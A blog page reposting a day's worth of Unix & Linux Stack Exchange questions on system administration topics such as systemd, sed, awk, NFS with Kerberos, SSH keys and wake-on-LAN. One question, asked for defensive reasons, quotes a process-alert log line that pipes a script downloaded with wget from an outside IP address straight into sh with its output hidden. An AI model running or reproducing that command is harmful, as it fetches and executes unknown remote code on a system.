Friday, May 21, 2021

Recent Questions - Unix & Linux Stack Exchange

Recent Questions - Unix & Linux Stack Exchange


How to make KDEsu take root password instead of user password

Posted: 21 May 2021 10:20 AM PDT

I have just installed Devuan with KDE, and I have been unable to change certain settings graphically. I do have a root user enabled, and for certain tasks, KDE will ask for my root password, which works and is all well and good. However, for other tasks, kdesu asks for my user password, and then throws an error because my user account is not in the "wheel" group. Rather than add my user to the wheel group, I prefer to just enable anyone who has the root password (ie me) to use sudo and su.

Complicating matters further, even though it is kdesu that is prompting for my password, "which kdesu" returns nothing, and I can't seem to find any config files for kdesu.

Any help figuring out how to setup kdesu to ask for root password is much appreciated. I'm running Devuan Beowulf kernel 4.19.181-1.

Ubuntu 20.04: Permanently disable avahi-daemon

Posted: 21 May 2021 10:18 AM PDT

I am using Ubuntu 20.04. I have tried to stop and disable the avahi-daemon as below:

$ sudo systemctl stop avahi-daemon.service  $ sudo systemctl disable --now avahi-daemon.socket  $ sudo systemctl disable --now avahi-daemon.service  

However, the service restarts after I reboot. How to disable its start at boot?

Why is the SSH key not accessible?

Posted: 21 May 2021 09:56 AM PDT

I have 2 remote servers, and I need to transfer files from one server to another.

In serverA I created an SSH key (id_rsa) using the sudo user, and copied the public key into serverB (into authorized_keys file of the same sudo user).

Hosts file

[servers]  prod_server ansible_host=IP_prod  new_server ansible_host=IP_new    [servers:vars]  ansible_user=sudo_user  ansible_sudo_pass=sudo_password  ansible_ssh_private_key_file=~/.ssh/sudo_user_key  

Play

- name: Transfer files from prod to new server    hosts: new_server    gather_facts: false    roles:    - rsync  

Task

- name: Copy files to new server    synchronize:      src: /etc/letsencrypt/live/domain/fullchain.pem      dest: /opt    delegate_to: prod_server  

When running the playbook an error shows up:

Identity file /home/sudo_user/.ssh/sudo_user_key not accessible: No such file or directory. Permission denied (publickey).  

The task should look up for the /home/sudo_user/.ssh/id_rsa key instead of sudo_user_key one...

How should I handle this?

How can i run specific lines from a file as commands in the shell?

Posted: 21 May 2021 09:00 AM PDT

I am basing my question on the thread here: How can I run a specific line as a command in a text file?

How do I run a set of lines from the the text file?

Here's what I have tried so far:

Input file:        1 #!/usr/bin/csh -v        2        3 date        4        5 echo "abc"        6        7 set cell="bananas"        8        9   set cmd = "echo apples \       10               oranges \       11               graped $cell"       12       13 echo $cmd       14    sed -n '5,13 p' /tmp/1 | sh  

gives:

abc  (blank line)  

Why doesn't this execute the rest of the lines? Or as I suspect, is it running it but not giving any output since these commands are run in a new? sh(ell) everytime and not in a single shell session?

Thanks!

Manipulating Qtile Margins Through Keypresses

Posted: 21 May 2021 08:39 AM PDT

I'm looking to set up keybindings to increase/decrease gaps and margins in Qtile similar to what the following does in i3-gaps:

bindsym $mod+equal gaps inner current plus 5  bindsym $mod+minus gaps inner current minus 5  bindsym $mod+Shift+equal gaps outer current plus 5  bindsym $mod+Shift+minus gaps outer current minus 5  

I can somewhat get the equivalent of outer-gaps to work with the following code:

def increase_gap(qtile):      qtile.screens[0].top.size = screens[0].top.size+5      qtile.screens[0].right.size = screens[0].top.size+5      qtile.screens[0].left.size = screens[0].top.size+5      #margs = screens[0].bottom.margin      screens[0].bottom.margin[0] = screens[0].bottom.margin[0]+5      screens[0].bottom.size=20      qtile.screens[0].cmd_resize()      def decrease_gap(qtile):      qtile.screens[0].top.size = max(screens[0].top.size-5, 0)      qtile.screens[0].right.size = max(screens[0].top.size-5, 0)      qtile.screens[0].left.size = max(screens[0].top.size-5, 0)      #margs = screens[0].bottom.margin      screens[0].bottom.margin[0] = max(screens[0].bottom.margin[0]-5, 0)      screens[0].bottom.size=20      qtile.screens[0].cmd_resize()    Key([mod, "shift"], "equal", lazy.function(increase_gap), desc="Increase gap"),  Key([mod, "shift"], "minus", lazy.function(decrease_gap), desc="Decrease gap"),  

I'm not sure this is the right way to do things, though. I'm not sure if this is supposed to be manipulated this way. I'm not really sure that the cmd_resize() function is what I should be using, however from trial and error it's what I've found to work. I'm not sure why the screen[0].bottom.size=20 (20 is the size of my bottom bar. I know I shouldn't hardcode, but I'm trying to produce a proof of concept before I clean the code) is needed, but the bar starts floating if I don't have that there. Finally, increasing and decreasing the gap gets close, but not quite to the original configuration. The gaps look slightly different than the original. So, I'm not sure this is the right way to accomplish this, and I could use the advice.

Secondly, though that gets close to accomplishing what I want on the outer gaps, I have not been able to make any headway to getting the inner gaps to work. I initially tried changing the margin parameter of a layout, and when that didn't work I tried simply initializing a new layout and replacing the old one as posted below, but neither approach worked.

def column_increase_margin(qtile):      current_margin = current_margin + 5      layouts[0] = layout.Columns(border_focus_stack='#d75f5f', margin=current_margin, border_width=0)      screens[0].bottom.size=20      qtile.screens[0].cmd_resize()  

I've tried going through the code here, but it's a big project and I'm struggling to make heads or tails from it.

Any advice would be appreciated.

Resolving paths (with absolute symlinks) against a base prefix

Posted: 21 May 2021 10:10 AM PDT

Consider we mount a foreign directory tree under some location and then chroot into it:

mount /dev/sdx1 /mnt  chroot /mnt  readlink /usr/bin/myapp    # Outputs: /usr/libexec/myapp/run  

Is there any tool to resolve paths inside /mnt prefix before (without) doing chroot? For example, if there is a /usr/bin/myapp file in /mnt which is a symbolic link pointing to absolute path /usr/libexec/myapp/run (rather than more robust ../libexec/myapp/run), then how can this be resolved to /mnt/usr/libexec/myapp/run without chrooting?

The realpath --relative-to=DIR --relative-base=DIR looks promising, but actually serves another purpose. Using --canonicalize-missing may slightly help when only one symlink appears in the path, yet it returns a path relative to its base, which by itself is not valid in the host system.

Of course it is feasible to write a script what traverses each path level manually and resolves every one of them using readlink, but that seems overkill.

Unwanted defragmentation of forwarded ipv4 packets

Posted: 21 May 2021 09:00 AM PDT

I want to handle ip fragments in user-space and am using the iptables NF_QUEUE to direct packets to user-space.

The problem is that IPv4 packets are always re-assembled and delivered as one packet rather than individual fragments. For IPv6 fragments are delivered as they should.

I thought that the conntracker might be causing it and disabled it in the raw iptables table. But it turns out that the packet is already re-assembled when it reaches the raw table;

# iptables -t raw -nvL  Chain PREROUTING (policy ACCEPT 58 packets, 62981 bytes)   pkts bytes target     prot opt in     out     source               destination               1 30028 CT         all  --  *      *       0.0.0.0/0            10.0.0.0/24          NOTRACK  

This is when sending a 30000 byte UDP packet over ipv4. The corresponding for ipv6;

# ip6tables -t raw -nvL  Chain PREROUTING (policy ACCEPT 46 packets, 62304 bytes)   pkts bytes target     prot opt in     out     source               destination              21 31016 CT         all      *      *       ::/0                 1000::               NOTRACK  

This is in virtual environment kvm/qemu with virtio network devices, mtu=1500. Some HW offload does not seem to cause this since I can see all ipv4 fragments with tcpdump -ni eth2 host 10.0.0.0.

So my question is what in the Linux kernel can force ipv4 pakets to be re-assembled before the raw/PREROUTING netfilter chain?

I suspect "ingress/qdisc" as it is in between AF_PACKET (tcpdump) and the raw/PREROUTING chain. But I can't find the problem.

Packet flow: https://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg

Best Regards, Lars Ekman

I originally posted this in https://stackoverflow.com/questions/67635016/unwanted-defragmentation-of-forwarded-ipv4-packets but I think the right place is here.

Array in AWK need clarification on code

Posted: 21 May 2021 10:36 AM PDT

I've been tasked to create a list whereby one of the codes in the original data is to be replaced by a new code read in from a reference list. In this case there is just one change, but there could be more which would be added to the reference list as and when needed.

The reference list (mycodes) has the following value:

100,100007  

The data is a stream of three digit codes, but the code for 100 should be written out along with the rest of the stream as a five digit code. I have used an AWK program as follows;-

BEGIN{  FS=","  reffile="mycodes"  while(getline<reffile>0) {ref[$1]=$2}  }  {  val=$1  newval=ref[val]    if (newval in ref) { outval=val}  else               {outval=newval}    print outval  }  

With the input data file containing the following values:

100  101  120  130  100  

the program when run does produce the correct output of

100007  101  120  130  10007  

However it only works if there is a space in the reference file after the first entry. If the space is missing then the program does not produce anything other than 100007 as output.

I don't understand exactly what is happening in the logic of this AWK program and I was wondering if somebody could helpfully explain it - particularly the line about if (newval in ref).

VirtualBox Kali no IP address when using internal network

Posted: 21 May 2021 07:35 AM PDT

I am trying to build a VM lab environment for my class based on this example. I could download the Metasploitable and Securtiy Onion OVA images via my school, they came with pre-configured network settings, as described in the lab description linked above.

I wanted to use my own configured Kali VM for the lab. So I figured I just need to change the network settings on the machine. I changed it to "Internal Network, 'internet'", according to the lab description. However, the Kali VM won't get an IP address and is therefore unable to communicate with the other machines. Everything else seems to work fine.

What am I missing? Do I need to set the IP address manually?

Process alert - stop or block user from doing this

Posted: 21 May 2021 08:55 AM PDT

How would i resolve this issue? I have already tried following How to disable a specific command for a specific user in Linux from The Geek Diary

User:clipdrop PID:8426 PPID:8401 Run Time:0(secs) Memory:113280(kb) RSS:1180(kb) exe:/usr/bin/bash cmd:/bin/sh -c wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1  

Edit #1

running getfacl /usr/bin/wget I get:

getfacl: Removing leading '/' from absolute path names  # file: usr/bin/wget  # owner: root  # group: root  user::rwx  user:clipdrop:---  group::r-x  mask::r-x  other::r-x  

What's wrong with my sed RE? Cannot find the pattern and replace

Posted: 21 May 2021 09:46 AM PDT

I have a huge text file, there are many lines of pattern of "Document 25characers", i.e.

cussion. But we cancelled. That's correct," Fasel said.  The 2021 IIHF Women's World Championships is scheduled for the Russian city of Ufa.  Document TASS0000202asd07eg370012y  Fasel said that the IIHF had cancelled all women's international tournaments this year, including the IIHF Ice Hockey Women's World Championship Division I Group A in Angers, France on April 12-18.  Document TaSS0asfd0200307eg370012y  Nevertheless, the IIHF president pointed out that there was no decision yet about the men's world championships set to open in Switzerland in May.  Document aASS000020200307eg370012y  "We are working normally with the Swiss association and everybody is thinking and hoping that we can organize the world championship in May," Fasel said when asked about new information on that tournament.  Canada reported the first coronavirus case on January 26. Up to now, 54 cases have been confirmed in the country. In late December 2019, a pneumonia outbreak caused by the COVID-19 virus (previously known as 2019-nCoV) was reported in China's city of Wuhan, an economic and industrial megacity with a population of 12 million. The World Health Organization declared the new coronavirus outbreak a public health emergency of international concern, characterizing it as an epidemic with multiple locations. Outside China, the worst affected countries are Iran, Italy and South Korea. Overall, more than 90 other countries, including Russia, have reported confirmed coronavirus cases. WHO says that new coronavirus cases outside China have passed 21,000, and there are over 400 deaths.  Document TASS0fgs20200307eg370012y  

I want to find all the lines and replace with a specified string as below:

sed -i 's/^Document\s{1}\w{25}\n$/MYLINEBREAK/' textfile.txt  

However, it doesn't work at all.

How should btime be specified?

Posted: 21 May 2021 09:45 AM PDT

I have read that Unix systems has not specified btime or generally like POSIX, there is no specification about btime. There is a mention about btime.

Therefore the question, how should btime be specified or does it not matter and btime can be set whatever the user wants? Should btime be specified? If so, there are already proposals to add it to POSIX or the successor to POSIX. It would be good if someone can tell me where I can send a proposal.

Should I change the "etc_t" SELinux context for a custom application?

Posted: 21 May 2021 09:11 AM PDT

I'm using SELinux (targeted mode) to confine a custom application . I used the command "sepolicy generate --init" to automatically generate the contexts and rules, and everything went suprisingly well: all the ressources are tagged with custom contexts, the applications works well.

However, I'm suprised that the configuration files under /etc/customApplication are still tagged with the "etc_t" context. Is there a reason why "sepolicy generate --init" doesn't create a new "etc_t_customApplication" context for these files?

If files are copied from a first volume to a second volume, will the files stay the same?

Posted: 21 May 2021 07:05 AM PDT

When I connect the external hard drives to my computer(with FreeBSD or other Unix systems) and copy files from the first external hard drive to the second hard drive, are the files on the second hard drive the same as the files from the source (first external hard drive)?

I know there is a hash (checksum). I read somewhere that copying from different volumes will result in different files(since they are 2 different volumes).

Only when I copy a file to the same volume, I can guarantee it is the same file.

What is the recommendation for copying, and will my files stay the same?

Set PDF tags while converting images to PDF with ImageMagick

Posted: 21 May 2021 06:58 AM PDT

I'm converting images to a single PDF-file using convert utility:

$ convert "document-*.tiff" -compress jpeg -quality 60 "output.pdf"  

Resulting document has the following tags set up:

Title:          output  Producer:       file:///usr/share/doc/imagemagick-6-common/html/index.html  CreationDate:   Fri May 21 19:12:24 2021 +04  ModDate:        Fri May 21 19:12:24 2021 +04  Tagged:         no  UserProperties: no  Suspects:       no  Form:           none  JavaScript:     no  Pages:          1  Encrypted:      no  Page size:      419.52 x 595.2 pts  Page rot:       0  File size:      226476 bytes  Optimized:      no  PDF version:    1.3  

Is it possible to override default values for tags like Title and Producer?

Can't access write to home directory after implementing NFS Kerberos mount

Posted: 21 May 2021 08:23 AM PDT

I'm using debian Buster where I have Kerberos, LDAP and SSSD working. I was monting my home directory to the client using NFS however I realized it was insecure. So I implemented kerberos mounting and pam_mount.

However when trying to login through lightdm on boot it goes black and boots me back to the lightdm login screen with no error. I found this in /var/log/auth.log

NEEDED_PREAUTH: user@DOMAIN for krbtgt/DOMAIN@DOMAIN, Additional pre-authentication required  ISSUE: authtime 1621592082, etypes {rep=18 tkt=18 ses=18}, user@DOMAIN for krbtgt/DOMAIN@DOMAIN  

I can log in on a different tty and home will mount successfully however I just get permission denied on my user folder in home when I try to write to it I can read fine. The uid and perms seem to be set correctly.

Here is my /etc/exports from my server.

/home/ 192.168.16.0/24(rw,sec=krb5p,sync,fsid=0,crossmnt,no_subtree_check)  

Also here is my /etc/security/pam_mount.conf.xml

<?xml version="1.0" encoding="utf-8" ?>  <!DOCTYPE pam_mount SYSTEM "pam_mount.conf.xml.dtd">  <!--      See pam_mount.conf(5) for a description.  -->    <pam_mount>            <!-- debug should come before everything else,          since this file is still processed in a single pass          from top-to-bottom -->    <debug enable="0" />    <!-- Volume definitions -->  <volume fstype="nfs" server="server" path="/home/%(USER)" mountpoint="~" />              <!-- pam_mount parameters: General tunables -->    <!--  <luserconf name=".pam_mount.conf.xml" />  -->    <!-- Note that commenting out mntoptions will give you the defaults.       You will need to explicitly initialize it with the empty string       to reset the defaults to nothing. -->  <mntoptions allow="nosuid,nodev,loop,encryption,fsck,nonempty,allow_root,allow_other" />  <!--  <mntoptions deny="suid,dev" />  <mntoptions allow="*" />  <mntoptions deny="*" />  -->  <mntoptions require="nosuid,nodev" />    <!-- requires ofl from hxtools to be present -->  <logout wait="0" hup="no" term="no" kill="no" />              <!-- pam_mount parameters: Volume-related -->    <mkmountpoint enable="1" remove="true" />      </pam_mount>  

I suspect perhaps I've confugred pam_mount wrong somehow.

Retrieve job definition of list of jobs listed in the second file

Posted: 21 May 2021 09:18 AM PDT

I have a file with 250,000 job details. In this source file, all jobs have different parameters, so the number of lines for each job may vary. The only pattern is that each job definition starts with insert: and ends at break line.

insert: PPC_SA1   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"  std_err_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.err"  alarm_if_fail: 1  group: P  resources:    insert: PPC_SA2   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0    insert: PPC_SA3   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"    insert: PPC_SA4   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"  std_err_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.err"  alarm_if_fail: 1  group: P  resources:    insert: PPC_SA5   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0    insert: PPC_SA6   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"  

Target jobs:

PPC_SA1  PPC_SA5  PPC_SA3  

I need to extract the entries for those jobs from the list above into another file:

insert: PPC_SA1   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"  std_err_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.err"  alarm_if_fail: 1  group: P  resources:    insert: PPC_SA5   job_type: CMD  name: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0    insert: PPC_SA3   job_type: CMD  box: PPC  command: sa  machine: P  owner: cat  permission:  date_conditions: 0  description: "Run program"  std_out_file: "/home/PROD/autosys/logs/${AUTO_JOB_NAME}_`date +%y%m%d`.log"  

How to find a specific tag section in an XML file?

Posted: 21 May 2021 09:46 AM PDT

The last few lines of my file /usr/share/glib-2.0/schemas/org.gnome.Vino.gschema.xml:

<schemalist>    <schema>     <!-- some other tags -->        <key name='notify-on-connect' type='b'>        <summary>Notify on connect</summary>        <description>          If true, show a notification when a user connects to the system.        </description>        <default>true</default>      </key>        <key name='enabled' type='b'>        <summary>Enable remote access to the desktop</summary>        <description>        If true, allows remote access to the desktop via the RFB        protocol. Users on remote machines may then connect to the        desktop using a VNC viewer.        </description>        <default>false</default>      </key>    </schema>  </schemalist>  

If I want to grep this paragraph:

<key name='enabled' type='b'>    <summary>Enable remote access to the desktop</summary>    <description>    If true, allows remote access to the desktop via the RFB    protocol. Users on remote machines may then connect to the    desktop using a VNC viewer.    </description>    <default>false</default>  </key>  

How should I use the grep command to achieve this?

In shell parameter expansion, what’s the difference between ${variable:-} and ${variable-} (colon–hyphen–brace versus hyphen–brace) [duplicate]

Posted: 21 May 2021 07:29 AM PDT

In a shell script, I'm aware that ${var:-} will return var's value if it has one, and otherwise returns nothing.

But what about ${var-}? The chart in the POSIX documentation doesn't say (and there is no documentation matching the litmus string -} in man bash or Zsh's man zshall or man zshexpn).

While I understand the difference between ${var:-word} and ${var-word}, I do not understand what, exactly, this syntax means if word is omitted. What's the difference between ${var:-} and ${var-}?

Will the error: "No irq handler for vector" affect my computer?

Posted: 21 May 2021 07:06 AM PDT

While installing Linux Mint on my old laptop, the error

No irq handler for vector  

shows up briefly whenever it starts.

Everything works fine, but I'm wondering if it's safe to ignore it?

How to wake-on-lan via internet with python code?

Posted: 21 May 2021 09:36 AM PDT

My home network diagram is simple as below:

internet       --> Optical modem --> router      --> pc1 ,pc2  111.111.111.111--> 192.168.1.1   -->192.168.31.1 --> 192.168.31.144,192.168.31.173  

The ISP provide a static ip ,supposing it's 111.111.111.111,optical modem's ip address is 192.168.1.1,router's ip address is 192.168.31.1, ip address for pc1 is 192.168.31.144 , ip address for pc2 is 192.168.31.173,the pc1's mac address is xx.xx.xx.xx.

The openwrt is running on my router,adding a new port forwarding rule in the router:

forwarding rule  name        protocl       outer port    inner IP address   inner port   wakeonwan   UDP           9             192.168.31.144      9  ssh         TCP and UDP   10000         192.168.31.1        22  

Login my router remotely:

ssh root@111.111.111.111 -p 10000  

Issue wol command from the router:

/usr/bin/wol -i 192.168.31.255 xx.xx.xx.xx  

The pc1 can be waked on from the router!
Turn off pc1,wakeup it from pc2 with the following python code wakeonlan.py:

from wakeonlan import send_magic_packet  send_magic_packet('xx.xx.xx.xx')  

Executing the command python3 wakeonlan.py in pc2 can wakeup my pc1 successfully.

Executing the command python3 wakeonwan.py remotely(for example--in my company's pc) can't wakeup my pc1.

cat wakeonwan.py  mac = "xx.xx.xx.xx"  target_ip = "111.111.111.111"  from wakeonlan import send_magic_packet  send_magic_packet(mac, ip_address=target_ip,port=9)  

It encounter no error,why pc1 can't wakeup with wakeonwan.py?How to wakeup it remotely with python code?

Can't set up environment path variables in Kali Linux installation

Posted: 21 May 2021 10:23 AM PDT

I downloaded flutter and Android studio on my linux machine. It is a kali linux installation. I want to add environment path variable for both android studio and flutter permanently so, who when I start a shell, I don't have to add them every time. I want to add to all users. I did some searching and found that you have to add the path in /etc/profile if you want to do for all users. But nothing seems to be working.

The original content of the file

# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))  # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).    if [ "`id -u`" -eq 0 ]; then      PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"  else      PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"  fi  export PATH    if [ "${PS1-}" ]; then      if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then          # The file bash.bashrc already sets the default PS1.          # PS1='\h:\w\$ '          if [ -f /etc/bash.bashrc ]; then              . /etc/bash.bashrc          fi      else          if [ "`id -u`" -eq 0 ]; then              PS1='# '          else              PS1='$ '          fi      fi  fi    if [ -d /etc/profile.d ]; then      for i in /etc/profile.d/*.sh; do          if [ -r $i ]; then              . $i          fi      done      unset i  fi  

I added my paths using a : to separate just after else in line 4 like this

PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/user1/Flutter/flutter/bin:/home/user1/android-studio/bin"  

saved the file and restarted machine, and did

echo $PATH  

in the shell but the output was just this:

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games  

Then I tried different method removed previous changes and added

PATH=$PATH:/home/user1/Flutter/flutter/bin:/home/user1/android-studio/bin  

just before export path, saved restarted the machine and it didn't work either. The echo $PATH command prints the same above paths.

How do I accomplish what I am trying to accomplish. I have looked at several similar questions on this site and most suggest what I have done above. Am I doing anything wrong?

EDIT This the contents of .profile in my user directory. I have only one user.

# ~/.profile: executed by the command interpreter for login shells.  # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login  # exists.  # see /usr/share/doc/bash/examples/startup-files for examples.  # the files are located in the bash-doc package.    # the default umask is set in /etc/profile; for setting the umask  # for ssh logins, install and configure the libpam-umask package.  #umask 022    # if running bash  if [ -n "$BASH_VERSION" ]; then      # include .bashrc if it exists      if [ -f "$HOME/.bashrc" ]; then          . "$HOME/.bashrc"      fi  fi    # set PATH so it includes user's private bin if it exists  if [ -d "$HOME/bin" ] ; then      PATH="$HOME/bin:$PATH"  fi    # set PATH so it includes user's private bin if it exists  if [ -d "$HOME/.local/bin" ] ; then      PATH="$HOME/.local/bin:$PATH"  fi  

Failed to show the preferences dialog GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown

Posted: 21 May 2021 10:23 AM PDT

I'm encountering issue with USB Live persistence Kali linux. I've installed it correctly and everything works fine initially. But after running it, the upper panel sometimes disappears. When opening the panel from Application->Setting->Panel, I encounter the following error:

Failed to show the preferences dialog  GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown:  The name org.xfce.Panel was not provided by any .service files  

systemd: How to stop a start-job without limit

Posted: 21 May 2021 07:42 AM PDT

Is there a way I can stop a systemd start-job that is configured without no limit?

I am not asking where I can reconfigure the limit - I want to stop while it is waiting for it.

I do not have another console to enter the system. If I hit Ctrl+Alt+Del then the jobs went to shutdown.

I just want to stop the waiting for this unlimited job that has a problem at startup.

Permanent removal of .repo from /etc/yum.repos.d/?

Posted: 21 May 2021 07:06 AM PDT

I'm trying to determine the best method to permanently remove .repo files from /etc/yum.repos.d/

I'm able to remove the repo file itself from the folder, however when a yum upgrade is performed, it reappears. Is there a method that someone is aware of that is persistent through a yum upgrade that doesn't restore the default .repo files? Appreciate the help.

How to enable my microphone in Linux Mint?

Posted: 21 May 2021 08:43 AM PDT

I have changed every setting of Pavucontrol and Alsamixer with no results on how to make my microphone work again. When using other live OS, it works just fine but on my Linux Mint it does not work anymore.

How to enable Tap to click on MATE desktop (Debian 8.7 powerpc)

Posted: 21 May 2021 08:00 AM PDT

Using advice from this forum, I got tap to click working in LXDE on my Powerbook G4 running Debian 8.7. I have since been experimenting with the MATE desktop, how do I get tap to click working in MATE?

Thank you.

Recovering data of an formatted ext4 partition

Posted: 21 May 2021 09:00 AM PDT

An ext4 partition of Hard Disk is formatted to ext2 and then again to ext4 using GParted. Is there a way to recover the original data?

I want to reconver .webm files. I could not do this with testdisk.

What is ionice `none: prio 0` equivalent to?

Posted: 21 May 2021 10:09 AM PDT

The ionice manual states that:

Note that before kernel 2.6.26 a process that has not asked for an io priority formally uses "none" as scheduling class, but the io scheduler will treat such processes as if it were in the best effort class. The priority within the best effort class will be dynamically derived from the cpu nice level of the process: io_priority = (cpu_nice + 20) / 5.

For kernels after 2.6.26 with CFQ io scheduler a process that has not asked for an io priority inherits CPU scheduling class. The io priority is derived from the cpu nice level of the process (same as before kernel 2.6.26).

I am post 2.6.26, but that still leaves some open questions (I'm assuming CFQ):

  1. What is the inheritance mapping for the scheduled class? Does TS SCHED_OTHER = Best Effort (io class 2)?

  2. When using the ionice -p command to get the value, it returns none: prio 0. However, the formula mentioned in the ionice man would suggest that the same process (cpu nice of zero) would be best-effort: prio 4 since (0 + 20) / 5 = 4.

So my assumption at this point is that none: prio 0 = best-effort: prio 4, but I'm hoping someone can cite some kernel source in order to prove that this is authoritatively true.

How to find files with 100% NUL characters in their contents?

Posted: 21 May 2021 07:21 AM PDT

What is the Linux command-line command that can identify such files?

AFAIK the find command (or grep) can only match a specific string inside the text file. But I want to match whole contents, i.e. I want to see which files match regular expression \0+, ignoring the line end character(s). Maybe the find . cat | grep idiom could work, but I don't know how to make grep ignoring lines (and treat the file as binary).

Background: Every few days, when my laptop freezes, my btrfs partition looses information: files opened for write gets their contents replaced with zeroes (the size of the file remains more-or-less intact). I use synchronization and I don't want these fake files to propagate: I need a way to identify them so I can grab them from backup.

No comments:

Post a Comment